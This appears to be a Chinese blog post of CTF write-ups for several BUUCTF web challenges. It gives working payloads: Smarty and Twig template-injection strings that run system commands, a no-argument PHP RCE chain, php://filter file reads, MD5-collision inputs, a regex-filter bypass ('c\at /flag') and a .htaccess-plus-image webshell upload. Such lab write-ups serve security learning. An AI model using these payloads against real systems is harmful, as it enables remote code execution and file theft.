您当前的位置: 首页 > 

ThnPkm

暂无认证

  • 2浏览

    0关注

    98博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

BUUCTF web2

ThnPkm 发布时间:2022-04-29 13:46:35 ,浏览量:2

目录

[GXYCTF2019]BabyUpload

[BUUCTF 2018]Online Tool

[BJDCTF2020]The mystery of ip

[GXYCTF2019]禁止套娃

[BJDCTF2020]ZJCTF,不过如此

[GWCTF 2019]我有一个数据库

[网鼎杯 2020 朱雀组]phpweb

[BSidesCF 2020]Had a bad day 

[BJDCTF2020]Mark loves cat

[安洵杯 2019]easy_web

[BJDCTF2020]Cookie is so stable

[GXYCTF2019]BabyUpload

Content-Type 要修改才能传入图片

先上传一个.htaccess 内容如下

再去上传一个 图片马

上传成功连蚁剑 

 

[BUUCTF 2018]Online Tool

大佬总结,好难理解

BUUCTF 2018 Online Tool_恋物语战场原的博客-CSDN博客_buuctf online

PHP escapeshellarg()+escapeshellcmd() 之殇

[BJDCTF2020]The mystery of ip

Smarty的SST ,与flask有很大区别 ,大佬文章很好,我记录一下题解

PHP的模板注入(Smarty模板)_WHOAMIAnony的博客-CSDN博客_smarty模板注入

这题是有关ip的 ,在X-Forward-For 后面可以SSTI ,测试

 

 之前也遇到php模板注入 ,用if标签

{if system('cat /flag')}{/if}

[GXYCTF2019]禁止套娃

给了个页面啥也没有,就是扫目录了,dirsearch没扫出来啊

换dirmap,废了不少功夫

可以看到是git泄露

 上工具 得到index.php 源码

 BUUCTF:[GXYCTF2019]禁止套娃_末 初的博客-CSDN博客_buuctf 套娃

 [GXYCTF2019]禁止套娃(.git泄露,无参RCE)_k0f1i的博客-CSDN博客

学习大师傅们的wp 

第一个if 就是禁用了伪协议,第三个就是过滤了参数 

主要是要理解第二个if

?R表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式

xxx(xxx(xxx(...)));    括号和字符组成的

用到了几个函数:

  1. scandir() 浏览目录,当scandir()传入'.',可以列出当前目录的所有文件
  2. localeconv() 函数,第一个值就是 ‘ . ’
  3. current() 函数返回数组中的当前元素的值

 这样能浏览目录 了

?exp=var_dump(scandir(current(localeconv())));

 要读取到flag.php 就需要逆转一下数组再读下一个值

可以用

  1. array_reverse() 函数返回翻转顺序的数组
  2. next() 函数将内部指针指向数组中的下一个元素,并输出 
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

[BJDCTF2020]ZJCTF,不过如此

传入$text 内容要是"I have a dream" 这里用php://input写入

提示文件包含 伪协议去读 next.php 

 base64转出来得到源码

浏览后明白,这段代码的意思跟猜想一样,可以通过控制func 和 p 来控制函数调用

也可以看到绝大部分危险函数都被禁用了

这里的Test类提醒可以构造反序列化来,进行读取

 没有找到flag在哪,可以用 find / -name flag*  

system("find / -name flag") 查找所有文件名匹配flag的文件

 找到flag直接cat

 了解到还有一个小trick

就是 php内的" \ "在做代码执行的时候,会识别特殊字符串,绕过黑名单

所以直接 \system 就可以使用system()了

[BSidesCF 2020]Had a bad day 

扫了一波没有东西

 这里有个注入点,读不到东西,用伪协议试一下

伪协议读 index.php 有回显,根据报错提示,把后面的php去掉就读到index.php 的源码了

 

strpos() 函数

很简单的逻辑,就是文件包含的伪协议语句必须有 woofers或meowers或index

猜测flag就在flag.php里

构造语句

/index.php?category=php://filter/convert.base64-encode/index/resource=flag

[BJDCTF2020]Mark loves cat

找了找没啥东西,扫了一下 git泄露 ,以后还是直接扫吧

                        

 index.php

 上面一堆代码主要就是实现这种读取文件的方式 ,不用看

我们要对cmd 做文章

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|/i", $cmd)) {
    echo("forbid ~");
    echo "";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }

从正则那里看,过滤了很多东西 来命令执行,

下面还有个md5强比较 , MD5强绕过,解法如下:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

 用dir来读取目录 %20过滤空格 

在PHP中,要通过正则表达式过滤掉\,必须要通过四个反斜杠才行\\\\,这是因为正则匹配要经过两层解析,一层是php,一层是正则表达式,在此处的话\\|,相当于是\|,之后又与后面的|进行了转义,所以实现的相当于就是对|的过滤,而没有过滤掉\ 故此处并没有过滤掉\

直接用命令c\at /flag就行 

[BJDCTF2020]Cookie is so stable

BUUCTF之[BJDCTF2020]Cookie is so stable ----- SSTI注入_若丶时光破灭的博客-CSDN博客

考点是SSTI 的Twig攻击    ,怎么感觉SSTI都喜欢问你是谁? 

 

在这里进行注入就行了

记录一下Twig的payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

关注
打赏
1660722558
查看更多评论
立即登录/注册

微信扫码登录

0.0430s